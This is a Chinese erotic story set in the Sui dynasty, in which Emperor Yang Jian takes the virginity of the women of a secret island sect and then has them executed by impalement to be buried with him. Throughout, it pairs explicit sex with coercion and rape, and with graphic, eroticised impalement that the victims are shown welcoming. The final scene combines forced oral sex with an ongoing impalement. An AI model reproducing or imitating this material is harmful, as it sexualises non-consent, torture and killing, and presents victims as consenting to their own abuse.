云霞初绽[科学幻想]

 
  云霞初绽


    隋,显仁元年,隋帝杨坚命太子杨广监国,自己却秘密出海云游,第一站便是东海南华月宫。


    二十多年前,立志恢复汉人天下的隋国公杨坚,就广派人手查探各地的隐秘势力,以便今后一一剪除。其中之一便是五胡乱华时代,出逃海外的近百万五胡权贵和裹挟而走的无数汉人百姓。天朝绵延二百余年的乱世让他们在域外的七海之中,建立了无数势力,经过隋朝水师二十年的全力扫荡,只有那些最飘渺神秘、与世无争的女子门派得以幸存,其中最为神秘的当属“二殿五宫七仙岛”,位于东海深处的南华月宫便是“五宫”之一。


    南华月宫乃是鲜卑族慕容氏所立,原本是一处招纳江湖侠女,刺客,训练后宫女卫的隐秘行宫,前燕帝国被前秦消灭后,有三位武艺过人的公主,携鲜卑族的诸多贵族名媛,女卫宫娥一路逃亡,企图通过月宫中转,从海路返回辽东故地。


    然而,残酷的追逃战让三位公主的计划彻底毁灭。带头的公主一死二重伤,一众红颜佳丽被乱兵掳掠大半,能到达月宫的,几乎都是武艺出众者。百战余生的二位公主也很快病死宫中,其余女子自此绝了复兴燕国的念头,便在月宫中安顿了下来。


    百年光阴流水而过,月宫中的女子们以清净自守为第一准则,极少在中原出现,直到二十年前,大隋帝国建立,中土逐渐安定以后,月宫才敢派人重返中原,在各地收养些孤苦少女,它的存在才逐渐为人所知。


    十五年前,月宫秘密发出请柬,以前燕皇室秘传的神功绝技和养颜美容之法为酬,邀请武林中的侠女们加入,顿时吸引了无数侠女名媛自愿投效,从此五年一次的秘密遴选都是群芳汇聚,争奇斗艳。天南海北的诸国佳丽,前仆后继,勇闯三关,方能入选……


    隋帝杨坚派出的女间也乘机混入。


    ……


    东海南华月宫,杨坚驾临一个月后。


    烟霞馆。


    月明星疏的孤寂春夜,月宫十大长老之一的彩霞剑慕容烟霞亭亭玉立在檀木窗前,神情羞涩的她身上披着一件月白色的云罗纱衣,在近乎透明的薄纱之下便是她震惊东海的曼妙惹火地婀娜娇躯。那高耸骄傲的双峰,盈盈一握地柳腰,丰腴浑圆的雪臀,修长白皙的玉腿,每一处都散发着致命的媚力。


    按混入月宫的隋宫金凤女卫所言:任何人,不分男女,若有幸见到南华月宫的第一媚女慕容烟霞,定然会被她那夺天地精华地天姿国色,引得心火飙升,欲焰狂燃。更何况是在她衣着暴露的现在,那薄若无物的轻纱下,是一件素白却略显狭小的肚兜儿,高高隆起的白玉雪峰仿佛随时要裂衣而出,一簇嫣红的描金牡丹,随着她的呼吸微微地起伏着,而在她雪白臂膀上的守宫朱砂,则骄傲的展示着她的冰清玉洁。让人恨不得立刻将她压在身下,狠狠地蹂躏一番。


    这位不过双十年华的月宫“霞长老”,现下却被恼人的“魔音”所苦。听着窗外荷花池畔连绵不绝飘来的娇媚呻吟,她红艳水润的樱唇不禁微微启合,透着无限的风情和诱惑,那双朦胧的凤目中尽是情动的娇媚和羞涩。


    她功力深厚,池畔竹亭里的男欢女爱,灵肉交合可谓尽收眼底。如此羞人的阵仗自是令她的心湖,泛起涟漪阵阵,更何况宫主已经遣人传话,下一个为皇帝侍寝的人儿便是她呢。


    一想到自己也要像那飘渺仙子端木秀芸一般,被制住四肢玉体,任那年老德薄的皇上肆意把玩亵弄,直至贞操被毁,落红片片,她就颇为不甘。自己虽是“长老”却是上上代宫主的侄孙女,比如今的宫主还小上一岁,双十年华的自己正是人比花娇的青春妙龄,可隋帝杨坚却是六十有余的垂暮之年,做自己的爷爷都行了。


    如此老夫少妻本就不相匹配,居然还要采啜人家的元阴和功力给他延寿续命,最……最过分的,就是还要被穿刺处死,陪葬皇陵!也不知宫主、宫中的姐妹们和……和自己,被那杨坚施了什么妖法,鬼迷了心窍,居然……居然答应了那老色魔,真是羞也羞死人了……


    想到羞恼之处,慕容烟霞情不自禁的瞥了一眼房中的秀榻,榻上枕畔那块洁白如雪的白绢,还是她亲手放上去的。虽然宫中女官为她验身时说了自己的处女膜完整无缺,可她还是有些担忧,怕破身时没有落红,令陛下怀疑自己的贞洁。只是……听琴长老展娉婷说,女儿家破身流红时的痛楚,比穿刺还要厉害啊。

    可惜那天自己去的晚了点,展娉婷话未说完,就被穿刺杆堵住了嘴,唉……算来她已经被穿刺四天了,现在总应该解脱了吧?


    ……


    这边,慕容烟霞正在为即将来临的风雨胡思乱想时,正在性爱风暴中无助挣扎的端木秀芸已然神智迷离、天旋地转。被杨坚紧紧充实的桃园花茎里,她苦修的内力和处子的元阴,正被那炽热的阳物。源源不绝的抽离内腑;她瘫软的身体,连最后一丝挣扎的力气也没有,只能任由杨坚的大手,在她婀娜多姿的身体上寻幽览胜,更别提被杨坚牢牢吸住的玉女左峰,嫣红的乳尖已被牙齿咬出了鲜血,一丝殷红正沿着雪峰浑圆的边线蜿蜒而下…… 


    女儿家最敏感的地方受创,终于将魂飞天外的端木秀芸惊醒,她气喘吁吁的看着身上忙碌的杨坚,神情颇为复杂。


    南华月宫现任的宫主流风倾月,自小就与她端木秀芸情同姐妹。因为往来频繁的缘故,她来月宫并没有事先告知,更不知晓隋帝杨坚正驾临此地遴选陪葬的宫妃。


    端木秀芸酷爱音律,此行乃是向好姐妹,借至宝七炫月韵琴一用,想在她师傅四十岁寿辰时演奏一曲。那想到却在这里碰上了亲自选妃的隋帝杨坚。以南华月宫招收女弟子的苛刻,这里对杨坚这般的老色魔而言,自然是美女如云的人间仙境。杨坚身为九五至尊,富有四海,眼见月宫中的女子个个冰清玉洁,千娇百媚,色迷心窍的他岂肯放过一个?于是,杨坚干脆下了一道圣旨:将整个月宫的佳丽们尽数纳入后宫之中。


    端木秀芸初来时,杨坚并不知道,他正忙着在这海外仙境一般的月宫中到处寻幽览胜,还不时将月宫中居住的仙子们弄上床榻,尽情云雨欢爱一番。后来,他干脆霸占了月宫的议事殿,按宫中的规格布置了一番,然后拿着月宫弟子的名册,依次点名临幸,不过一个月的时间,月宫中的女子便有大半血染白绫,失身于杨坚。


    这时,隋宫中派来的诸多女官宫娥也陆续赶到,开始按杨坚的旨意,将他已经玩腻的美人儿穿刺处死,放入龙舟之中的冰库中冷冻防腐,准备运回中原陪葬皇陵。


    流风倾月自知月宫上下都难逃一死,便将七炫月韵琴送给了端木秀芸,让她尽快离开此地。可端木秀芸时运不济,就在她要离开的前夜,偏偏在荷花池畔的凉亭里抚琴,结果将那色魔杨坚给引了过来。


    隋帝杨坚刚在不远处的云华轩里采摘了云长老公孙绺云和她的六名贴身侍女的初红,大饱淫欲的他正按宫主流风倾月的安排赶往慕容烟霞处继续“奋战”,而且流风倾月答应杨坚,待慕容烟霞失身后,便轮到流风倾月自己为他侍寝。在这之后,南华月宫中便再无处女了。


    就在杨坚得意之时,一阵略带哀伤离别之意的琴声从荷花池边传来。很是多情的杨坚还以为是那位月宫中的仙子,在尝过男女之情后,深闺寂寞,有意用琴声邀请他共赴巫山呢。


    于是,杨坚立刻下了龙辇,向荷花池走去。他一边听着美妙动情的琴音幽韵,一边却想与佳人一会后,便立即命人将她穿刺处死,这种难耐闺中寂寞的女子最是容易红杏出墙。


    不过,当杨坚看清了凉亭中那位凝神抚琴的人儿时,顿时忘了一切。


    这抚琴的人儿,黛眉清细,身姿婀娜,美眸顾盼之间气度雍容华贵。雪肤粉嫩,青丝黑亮,自然地垂到了浑圆的臀部。精致的脸庞,月牙儿一般的双眼,柔柔地荡漾出一股水灵灵的哀愁,微微苍白的脸上却有带着一抹桃红,似是雨后梨花一般,带着一股羞涩的楚楚可怜。


    她正自凝神抚琴,对身外之物一无所觉。杨坚精通音律,也不打搅,静静的站在亭外聆听。直到鼎中檀香燃尽,绝色少女也恰好将此曲奏罢。 


    端木秀芸从琴意中醒来时就明白了自己的处境,可即使是她也不敢挑战皇帝的权威。唯有上前跪拜行礼,静候杨坚的旨意。


    杨坚一见这等绝色的少女,就看出她尚是处子之身,衣着打扮也非月宫弟子。此时少女大礼参见,言下之意自然是让他为所欲为了。


    喜在心头的杨坚,没有立刻让少女起身,而是将少女低垂的脸庞抬起,细细欣赏。只见她的长发高高梳成马髻,六枝雕凰金钗分插左右,垂下六串晶莹剔透的珍珠配饰,一双灵眸深邃,有若明镜幽湖,明艳照人,实在是勾得人三魂悠悠,七魄荡荡。


    她跪伏在地的曼妙身段凹凸有致,小蛮腰盈盈似不堪一握,玉颈修美白皙,肌肤似雪,神态妩媚,恍若神人。


    杨坚紧紧盯着少女那双灵眸,他的手却轻薄无礼的分开了少女身上的白色对襟纱衣。略紧的肚兜将她发育良好的玉峰包裹得玲珑有致,凹凸动人,却也妨碍了杨坚的手指探索少女那幽深的乳沟。


    于是,一声少女惊讶而短促的惊叫声后,一件泛着处女体香的雪白肚兜已然落到了杨坚的手中……


    与此同时。月宫的至宝七炫月韵琴被宫娥们“请”出了凉亭,取而代之的却是杨坚最喜欢的春榻。当然,乖巧的宫女们绝对不会忘了替那位绝色少女准备好验身的白绸。


    霎时间,腰带、纱衣四散纷飞……


    春榻之上,绝色少女玉体横陈,钗垂髻乱。精妙绝伦的剑术武艺,在杨坚炽热的拥吻抚摸下,早已土崩瓦解;气喘吁吁的挣扎抵抗,反被杨坚将全身的重量都压在她纤弱的娇躯上,激越的亲吻和放肆的揉捏,引得少女一阵阵的战栗着。


    “皇上、陛下,别……别这样!”


    “莫怕。朕会封你为妃,还会带给你从未享受过的人间快乐。”


    话虽这样说,急色的杨坚却没等佳人的回音,就用粗暴的吻堵住了她的樱唇,双手却不住的在她柔嫩的肌肤上滑动游走着。从她臂上嫣红的守宫朱砂到胸前傲耸浑圆的酥胸,从她平坦白皙的小腹到幽深神秘的花蕾……手指摩挲间,却让绝色少女感受到了从未有过的温存和旖旎。


    “爱妃,朕要进来了。敞开你的身心,迎接你的夫君吧。乖,把腿分开好不好?”杨坚带着浓浓的欲火在绝色少女的耳畔低语着,手却毫不犹豫分开了她的纤纤玉足。


    随着杨坚不容分说的凶狠刺入,绝色少女立时感觉到一阵钻心的剧痛,“啊!好痛!”


    话音未落,杨坚已然将凶器抽出!一瞬间,点点落红印染了验身的白绸。


“爱妃,果然冰清玉洁。”杨坚满意的看着那血迹斑斑白绸,“乖宝贝儿,刚才朕是为爱妃破身验红,弄疼你了吧,这次朕轻轻的,一定不痛。你闭上眼睛,让朕带你去领略神仙的感觉。”


    说着,杨坚再次轻轻的分开绝色少女的双腿,将胯下昂扬的凶器温情款款的送入了少女染血的花茎……


凉亭外,微风一浪接一浪的搅动着亭中的薄纱。春榻上,隋帝杨坚与绝色少女香肩相并,翻波滚浪。一时间,杨坚如狂蜂浪蝶般的侵入,写就了鸳鸯枕上的爱欲颠狂……


    子时,绝色少女慵懒无力的依偎在春风得意的杨坚怀中,直到云雨数度之后,好色的皇帝还是没有询问怀中佳人的芳名,直到杨坚将殉葬的名册送到她的面前,她才娇嗔薄怒的留下了名字:端木秀芸。


    ……


    结束了荷花池畔的艳遇之后,杨坚连小衣都没穿就“性”致勃勃的杀奔慕容烟霞的烟霞馆,将前来迎驾的慕容烟霞惊得目瞪口呆。慕容烟霞傻傻的看着杨坚老迈的躯体良久,方才惊醒自己的失态,脸红如火,害臊得抬不起头来,嗔道:“皇上……”


杨坚哈哈大笑,万分豪迈地一挥手,道:“还不服侍烟霞姑娘,不,是服侍朕的昭容娘娘宽衣!”


“你们走开,本宫自己来。”慕容烟霞摇摇头,让宫女们走开,朝皇帝妩媚一笑,道:“这月宫之中还从未有人看过臣妾跳舞,今晚就让臣妾为皇上轻舞一曲吧!”


杨坚连连颔首,月宫慕容烟霞的名声广播七海,除了绝顶的美貌和飘逸的剑法之外还真没听说她善舞。杨坚不由的对她从未示人的舞姿充满了期待,这可是世上只有自己一人能观赏的,岂能错过。


慕容烟霞见杨坚颔首应允,便嫣然一笑,玉臂舒展,娇躯轻拂,和着节律翩翩起舞,仿佛兮,如轻云之蔽月,飘摇兮,若流风之回雪,一举手,一投足,无不满溢美感。两只玉手伸到头顶,逐一取下云髻上的珠玉钗饰,满头青丝如瀑布般疾泻而下,长发如云,化作千万缕柔丝在她周身飞舞。


舞姿不停,慕容烟霞唇角缓缓荡漾开一丝笑意,似害羞,似欢喜,欲语还休,欲语还休,个中滋味谁能分辨。


    舞,是艳舞,媚力四射,罗带丝裙,件件滑落,当最后一那件窄小的牡丹肚兜也在舞中飘然落地,霎时间春光无限,霞光满室。


杨坚看得目眩神迷,那慕容烟霞一身如雪似玉的晶莹肌肤,滑腻细致,浑然天成,藕臂玉足,雪峰翘臀,每一处都在勾动他的欲火,令他难以自持。


慕容烟霞的娇躯仿佛上天的杰作,若非谪尘的仙子,焉能完美如斯?她浑身上下无一处不美,就连下体幽兰之处也是光洁无毛,一片眩目的雪白,美得令人窒息。


天生的‘白虎’!杨坚有种喜出望外的感觉,本就未着寸缕的老迈之躯却挺着昂扬的凶器猛冲上前,一把将慕容烟霞美绝人寰的玉体搂进怀里,凑下头去就是一阵狂啃乱吻,肌肤相触之下,肉欲的烈火更是冲天而起。


“皇上……别,别在这里!”慕容烟霞娇喘咻咻道,美眸好似要滴出水来。


杨坚打横抱起一丝不挂的慕容烟霞,迫不急待的冲到卧房,挥手向榻上一抛。措不及防的慕容烟霞一声压抑的惊呼,柔嫩的娇躯已然倒在了绵软的榻上,但奇怪的是,她最熟悉的香闺此刻却让她有些害怕,在床上盲目的摸索着,颤抖着,但没过多久一具同样赤裸裸的男性身躯就压在她的身上,一张厚重沉稳的大嘴把她破口待出的话语彻底堵了回去,回应她的只有一腔的情欲灼热!


杨坚的唇快速的在慕容烟霞的身体上巡游着,他每一次的亲吻和抚摸,都将慕容烟霞的心提到顶点,又羞又喜的她根本不敢与他目光相触,玉齿咬着下唇,美眸望向他处,目光中的紧张之情有如实质。


    杨坚见慕容烟霞娇羞的模样同样欣喜万分,熟练的将那块慕容烟霞亲自准备的纯白丝绸,垫在她的香臀之下。


慕容烟霞知道失身在即,颤声道:“皇上……臣妾未经风雨,万望陛下垂怜护持。”


杨坚早已是箭在弦上的要命当口,根本没注意慕容烟霞在说什么,只是忙着将美人儿修长雪白的玉腿轻轻分开,然后跪到了她的两腿之间,上身俯下去压在她酥胸上,就近望着她,温柔无限的道:“爱妃,朕要进来了哦,处子破瓜,痛楚难免,霞儿可要忍耐,莫失了仪态。”


慕容烟霞在他身下不安的喘息着,凤目紧闭,缓慢却坚定的点了下螓首,等待神圣时刻的来临。


欲火焚身的杨坚可不管这许多,用手指将慕容烟霞紧紧闭合的处子门扉微微分开些许,便将坚挺无比的凶器送入嫩红的花茎之中,稍稍进入寸许后就将腰部使劲向下一挺!

    可怜慕容烟霞处子破瓜,“啊!”的一声婉转娇吟,杨坚那作恶的凶器已破体而入!


    霎那间点点落红染红了臀下白绫。


    “陛下……”也是疼痛也是为了其它,一行热泪自慕容烟霞的明眸中滑落。


“爱妃莫哭。”杨坚自慕容烟霞的脸上吻去泪珠,柔声道:“先要修身,才能齐家,才及治国平天下。朕此刻正在为爱妃修身呢!”


慕容烟霞听到这似真又似玩笑的话儿,不禁破啼为笑。


卧房内风雨正急,满室皆春。


    玉瓜初破的慕容烟霞螓首后撑,柳眉紧皱,那双玉瞳翦水的美目中,正自半开半闭,樱唇翕动,不停的吐着如麝如兰的气息。再看她那修长婀娜的女体,更是完美无瑕。全身肌肤,似玉若雪,纤腰娉婷,随着杨坚毫不怜惜的冲刺动作,胸前那对高耸饱满的玉峰,正上下左右晃动不休。 


    而在二人下身的交接之处,景像更是淫靡绯乱。一具奇粗且长的凶器,正不断地在她玉户胯间狠戳猛刺!只见慕容烟霞娇嫩的粉色玉户不停的被那丑物带得嵌入翻出,弄得落红贞血飞溅四散,“滋滋”做响,女儿家雪雪呼疼的呻吟声不绝于耳。


慕容烟霞的侍女们在房外听见里面颠鸾倒凤的响动,喘息(老皇帝)与呻吟(慕容烟霞)伴随床榻“吱呀”之声齐响,交汇出一曲令人心颤不已的乐章,让这些个未经人事的侍女们人人羞难自抑,面红如火,但又忍不住好奇,自珠帘摇曳的间隙处向里面偷瞧。


侍女们看得目瞪口呆,再也移不开目光,张大了嘴巴再也合不上。云雨声息一下接着一下,撩拨得她们心弦也一颤一颤的,全然没个着落,满面通红,美眸中几能滴出水来,毕竟小姐失身以后,便轮到她们献身陛下了。


不多时,屋内的慕容烟霞便被杨坚勇猛的送上了情欲的最高峰,娇躯一阵急颤之后,处子元阴混着她精纯的内力便被杨坚源源不绝的采啜吸纳,直到她满面潮红,呼吸急促的瘫软在床上昏死过去。


杨坚得慕容烟霞元阴和功力的滋补,丝毫没有交欢后的疲态,等慕容烟霞缓过劲儿来,他才叫宫女们进来,抽出慕容烟霞玉臀下的白绸,细细赏玩。只见那白绫上,满是触目惊心的大片血迹,顿时大喜:“这是你们霞昭容守了二十年的贞血,好生收起来。”


    一个乖巧的宫女含笑接过,却也不忘提醒皇上,慕容烟霞的贴身侍女们还在偏房里等着陛下宠幸呢。


    ……


    数日后。


    清晨,杨坚的龙辇在三百金凤女卫的保护下,缓缓向月宫深处的琼花林驶去。


    而宽大舒适的龙辇之内却是另一番旖旎风光。劳累一晚的杨坚懒散的躺在慕容烟霞的身旁,一颗脑袋正极为猥琐的枕在慕容烟霞那双修长迷人的长腿上,还不时的磨蹭几下,引的慕容烟霞一阵娇嗔,让人好不眼红。


    粉拳作势照着杨坚的身上锤了几拳,告诫这好色的昏君手脚不要再乱动。不过,若顺着她正一脸娇红的眼眸看去,此时慕容烟霞的胸前根本不着片缕,而杨坚的一只魔掌赫然在那对丰满滑腻的雪峰上不辞劳苦的探索着其中美妙的滋味,似乎为了报复慕容烟霞的‘拳脚相加’,两指尖突兀的点在那一点已经鼓涨的樱桃上。


    一股酥麻顿时从体内中传来,就连灵魂都在颤抖呻吟。


    经过昨夜一番“开垦”,杨坚这个“老农夫”自然将慕容烟霞全身各处的敏感点发掘掌握,这里正是她最容易兴奋的地方。


    本来男女之间一旦突破了最关键的地方,往往女方就会变得千依百顺,尤其是初次经历个中美妙的少女来说,这种诱惑的程度更是被提高了许多,杨坚魔功深厚,也贪恋这妖娆可人儿的娇躯,两人遂开始胡天胡地起来。


    ……


    琼花林,是月宫安葬门人弟子之处,立宫百余年来,这里埋葬了无数绝代红颜。佳人的青冢配上琼花的淡雅,正是相得益彰。


琼花之美,是一种独具风韵的美。它不以花色鲜艳迷人,不以浓香醉人,每到春夏之交,花园中一片姹紫嫣红,琼花却花开洁白如玉,风姿绰约,格外清秀淡雅;而每当秋风萧瑟,群芳落英缤纷,凋零衰败之际,琼花展示的却是绿叶红果的迷人秋色。其叶、其果,红绿相映,分外鲜艳,经久不凋,给萧瑟的秋色点染了艳丽的色彩和欢快的气氛。


    正因琼花深受月宫中人的喜爱,所以慷慨赴死的宫中佳丽们不约而同的将那穿刺她们的刑场选在了这里,而南华月宫的宫主流风倾月更将自己献身杨坚的洞房也设在了此处。


    不过,此时新郎杨坚还在路上,流风倾月自然忙着照顾林中正忍受穿刺苦楚的宫中姐妹。


    那林中的刑场之上,七座穿刺台燕翅展开,前后不过一月光阴,这月宫中的大半弟子便一一在此被各式穿刺杆儿贯穿了窈窕玉体。此时正跪伏台上承受穿刺之刑的便是昨夜早些时候失身于杨坚的公孙绺云云长老和她贴身的六名女侍。


    由于杨坚还要在这七海之上巡游数月,兴之所至也许还会对冰库中存放的艳尸临幸一二,所以月宫上下皆是从后庭穿刺。此时,公孙绺云的穿刺已然完成过半,穿刺杆锋利无匹的尖端正在她的胃壁上奋力前行,争取尽快进入食道,从她口中穿出。


    隋帝杨坚表面上宽仁节俭,心性却受蛮族影响极为残忍暴虐,平生最爱看女子被穿刺处死时娇喘吁吁的柔弱美态,加上独孤皇后以铁腕治理后宫,因此隋宫之中的宫娥女卫,女官妃嫔经常因小小过失而遭穿刺处死。在杨坚的授意下,皇室使用的穿刺杆皆刻意雕花刻凤,极尽华美。如此设计,既可以让受刑的后妃自己挑选喜欢的穿刺杆结束卿卿性命,却也将穿刺时的创口额外的扩大了几分,倍添受刑的痛苦,可谓“皆大欢喜”。


    初时,月宫中人都喜隋宫中的穿刺杆制作精美华丽,公孙绺云和慕容烟霞带头选了雕玫瑰和牡丹的穿刺杆供自己受刑时使用,便是宫主流风倾月也对这些漂亮的杀人利器爱不释手,竟求杨坚专为她准备一根雕琼花的穿刺杆,委实让杨坚喜出望外。现如今轮到公孙绺云自己承受穿刺之苦时,她才发现爱漂亮的代价便是自己不得不承受成倍增加的痛苦。


    公孙绺云香汗淋漓,娇喘吁吁的将自己最深切的体会告诉了流风倾月。虽然她的话没完全说完,就被穿体而出的穿刺杆堵住了嘴,但聪慧如流风倾月,自然明白公孙绺云的意思,她不禁回头看向了监刑台——她的婚床和穿刺杆就在那里。原来的计划是流风倾月由杨坚破身验红之后,便立即穿刺处死的,可现在……


    可现在想换根穿刺杆也不行了!流风倾月颇为无奈的看着与杨坚牵手而来的慕容烟霞,瞧她欢喜的摸样,让人不禁怀疑,下一个要被穿刺的美人儿到底是不是她了。


    刚与杨坚胡天黑地一番的慕容烟霞,已将散乱的衣裙重新整理,雪白的轻纱宫装,更显她肌肤如雪,风姿绰约,除了她漆黑光亮的青丝外,全身皆是素雅的纯白,连束在发端的丝带,也是洁白如雪。


    杨坚见着刚穿刺完的公孙绺云,顿时如获至宝,小心翼翼的将极度虚弱的娇俏人儿抱入怀中。慕容烟霞与公孙绺云情同姐妹自然不会打扰她享受杨坚的最后爱宠,悄悄的走到了流风倾月的身边。


    此时公孙绺云的侍女们也陆续穿刺完毕,除了一个还在穿刺台上“享受”,剩下的都整整齐齐的摆成一排,全部都翘起臀儿像小狗般伏趴在由琼花花瓣铺就的花毯上。


    “所有穿刺完毕却来不及送走的人我都让宫女们暂时放在这里,你看她们现在的样子是不是很漂亮?”


    “恩,是很漂亮,我已经在想自己趴在那里的摸样了!”


    “死丫头说的好轻巧,那穿刺的滋味可不好受呢,刚才绺云可没少受罪。”


    “反正不能反抗,那我就尽情享受喽……”


    流风倾月见慕容烟霞听不进去,只好无奈的侧身让开,露出了她身后的穿刺台。


    慕容烟霞慵懒的依着穿刺台,一边听着流风倾月将穿刺刑的要点和苦楚一一点明,一边将束发的白绸丝带解开,让柔顺黑亮的长发如瀑布般飞散开来,把她的绝色芳容更衬托得美艳无方。纤腰轻挪,慕容烟霞已坐在穿刺台上:“倾月姐姐现在说这些又有何用?绺云姐受刑之时定然痛苦万分,可那是因为陛下不在她身边的缘故,姐姐你看现在有陛下怜爱的绺云姐,可有凄苦难耐,埋怨不满之态?”


    流风倾月闻言一愣,不由自主的向杨坚望去……


    此刻正依偎在杨坚怀中的公孙绺云,她的心中的确充满了甜蜜的爱意。刚被杨坚抱入怀中的时候,她还勉力挣扎了两下,可杨坚却将一朵她最喜欢的玫瑰花送到了她的眼前,如此贴心的礼物顿时征服她的芳心,连穿刺的苦楚都被暂时抛到了一旁。虽然体内的穿刺杆坚硬而寒冷,但杨坚那看似单薄松弛的老迈胸膛却像一轮光芒万丈的太阳照得她暖洋洋的。


    对待愿意为他而死的女子,杨坚总是有些温柔与怜惜的。将绺云嘴角的血迹轻轻拭去后,杨坚含笑捧着她如仙似玉的俏脸,在她额上吻了一下:“云儿,朕亲自服侍你坐桩。”


    公孙绺云显然感动万分,凤目含泪的用瑶鼻轻“嗯”一声,玉手却作出最热情的回应。她引导着杨坚的手,向她无限美好的玉体上尽情抚摸,探寻着,虽然这样更加剧了她身体的痛苦,可她的心中却是快乐无比。 


    杨坚边吻着她腮颊,边握住她一只玉峰,温柔地揉握。只觉触手挺弹饱满,且细滑非常。他的吻沿着绺云的项弯向下移,滑过她脖子,最后吻上她的玉峰,那颗娇艳猩红的顶上蓓蕾,已全然纳入他口中。舌舔唇吸,轻咬细吻,那从未有过的体贴,让初夜几乎是被杨坚强暴的公孙绺云感到无比的温馨,含着穿刺杆的小嘴里都情不自禁地挤出了几声甜蜜的呻吟。 


    趁着公孙绺云陶醉在温柔中,杨坚将她抱到了宫女们精心布置的坐桩之处。那是一顶绘有贞女穿刺图的白色纱帐,帐中铺着厚厚的毡毯,绵软舒适的地毯正中是一个三尺见方低矮木几,显然是供人跪坐之用。


    杨坚没有惊扰怀中的绺云,只是单手在那木几上轻轻一拍,紫檀木做的木几上居然出现了一个圆圆的小孔。 


    那小孔很圆,切口也很光滑,大小正好插入贯穿绺云的穿刺杆。可见杨坚的内力已至化境,远不像他长得那样像个枯瘦无力的老头。  


    当杨坚将依然露在绺云臀外的穿刺杆末端插进木几上的圆孔时,终于惊动了绺云,她娇媚的白了杨坚一眼,但还是很配合的蜷起她修长的玉腿,方便杨坚行事。


    片刻后,绺云那不着片缕的绝美身体就端端正正的跪坐在木几之上。虽然她口中伸出的穿刺杆和向后仰起的螓首少许破坏了端庄的仪容,但如此姿态正是杨坚最为喜爱的,任何一个见识过节妇穿刺殉葬的人儿都会诧异绺云此刻的仪姿,竟是如此完美。


    没有意外的话,公孙绺云就将以这样的姿势枯坐几天,直到断气为止。


    杨坚从纱帐中走出的时候,恰逢一阵柔风从琼花林中拂过,温柔的春风摇落了无数洁白的琼花,将跪伏在穿刺台上的七位佳人遮得若隐若现,但从花雨中泄出的每一寸春光都分外撩动他的心弦。


    杨坚知道,慕容烟霞正等着他亲手将她穿刺处死,这可是美人儿最后的要求,杨坚自然不忍拒绝。


    宫中御用的器物无不浸透了工匠们的奇思妙想,即使是用来处死后妃的穿刺台也不例外。如慕容烟霞所在的穿刺台,名唤:卧雪,乃是四川静心小筑献给杨坚的贡品。那静心小筑里全是未婚先寡的节烈女子,基于她们对自己身体结构的深入研究,看似十分简易的穿刺台除了能让受刑的妃子们跪伏的更加舒适之余,还能极大的突出妃子们那诱人的身段。


    驾轻就熟的流风倾月无需宫中女官的指点,便根据慕容烟霞的身材适当的调整了一下穿刺台上的机关,让烟霞本就十分饱满的双峰在胸部的特意弯曲下更显得坚挺浑圆。难怪一些人常说:‘跪伏在穿刺台上的女人才是最美丽的。’感受到杨坚看着慕容烟霞那种火辣辣的目光,流风倾月的心中不由一阵悸动、迷乱。


    流风倾月从杨坚下令处死月宫中的女子时就在这琼花林里送姐妹们上路。一个月来,她目不转睛的看着宫中的姐妹们依次宽衣解带,从容赴死。每次总是从一根根华美精致的穿刺杆笔直的顶在姐妹们那近乎完美的后庭花儿开始,然后就是那穿刺杆一寸寸的进入姐妹们的身体,最后穿刺杆的尖端又会从姐妹们的嘴中一寸寸的伸出来……

    整个过程,已经在流风倾月的面前重复了无数次,今天处死的慕容烟霞也不会例外。唯一有些特别的便是行刑的刽子手由杨坚来当罢了。


    跪伏在穿刺台上的慕容烟霞此时难免有些脸红,因为杨坚刚把她两条跪在穿刺台上的玉腿左右大大的分开,观摩过多次穿刺的慕容烟霞当然知道,这是为了让她臀间的后庭花更清楚的暴露出来,以便穿刺。可自己这般羞人的摸样全被一旁的宫主看在眼里,也不知道穿刺完成后等死的那几天,一向爱作弄人的宫主会怎么样笑话自己呢。


    兼职刽子手的杨坚此时则全身心的投入到无限的穿刺大业中,将慕容烟霞受刑的姿势一一调整完成,便接过流风倾月奉上的牡丹穿刺杆,转到慕容烟霞身后。一想到将由他亲手把穿刺杆捅进眼前美人儿的身体里,杨坚止不住的一阵兴奋。


    “爱妃不穿衣服的样子真漂亮。”一手将穿刺杆平放在烟霞臀后的支架上,准备处死佳人的同时,杨坚仍然不忘在慕容烟霞的耳边亲昵的夸赞着她的美貌,不过几句甜言蜜语就将慕容烟霞说的身心俱醉,魂不守舍,浑然不觉那寒光四射的穿刺杆正缓缓接近。


    流风倾月看着自己的好姐妹都要被穿刺处死了,仍然对杨坚死心塌地,不由在心中哀叹:杨坚天朝皇帝的身份再加上一张甜嘴可以把所有女人哄得服服帖帖的,就连年齿上的巨大差距也不能阻止少女们飞蛾扑火一般的爱意,自己宫里的姐妹们哪个不是被他连哄带骗的失身给他,最后连命也赔上了。别看自己现在还清醒,待会杨坚这色魔对付自己的时候,只怕自己比烟霞还要不堪呢……


    流风倾月自己在一旁胡思乱想,慕容烟霞依然与杨坚眉目传情,全然不顾她的后庭花蕊正被一根粗壮冰冷且锋锐无匹的穿刺杆缓缓撑开。


    一旁监刑的女官见慕容烟霞的后庭已经插入了穿刺杆,忙娇喝道:“开始行刑!”


    话音未落,六婢的娇嫩菊蕊顿时被穿刺杆强行闯入!少女惊讶、羞涩的娇呼声几乎同时响起。


    那根东西真的插进来了!而且在她的肚子里不断的前进!正用后庭勉力吞噬穿刺杆的慕容烟霞终于充分感受到了流风倾月口中描述的,关于穿刺的痛苦。不仅仅是那锋利的尖端戳刺五脏六腑的痛,还有那些穿刺杆上精心雕琢的牡丹花纹扯动伤处的苦。但是,她——无怨无悔。


    冰冷的穿刺杆一寸寸没入慕容烟霞的身体,直到尖端顶住了她的胃部才停了下来。


    面对着慕容烟霞和流风倾月询问的目光,杨坚却忙着将自己昂扬的凶器塞进了慕容烟霞的嘴里。被慕容烟霞穿刺时的种种媚态刺激的性欲勃发的杨坚一点也不怜香惜玉,那根灼热的凶器分开她娇嫩的红唇,顶开她雪白的贝齿,直挺挺的插进她喉咙深处,慕容烟霞甚至觉得它再往前一点就会碰到她身体里的穿刺杆。


    面对这突如其来的交欢场面,无论是刚到刑场的端木秀芸,还是在旁观刑的流风倾月都愣住了,从没听说过穿刺女子时居然能……能这样的……


    “若是陛下……陛下想……臣妾愿代烟霞妹妹侍寝?”终于鼓足勇气的流风倾月红霞满面的抱住正干得兴致勃勃的杨坚,她实在不忍心让慕容烟霞一边承受穿刺的酷刑,一边还要解决杨坚的肉欲。她看着慕容烟霞的身体随着杨坚的抽动而抽搐,插在她身体里的穿刺杆也同样颤巍巍的抖动着,她几乎不敢想象慕容烟霞此时的感受……


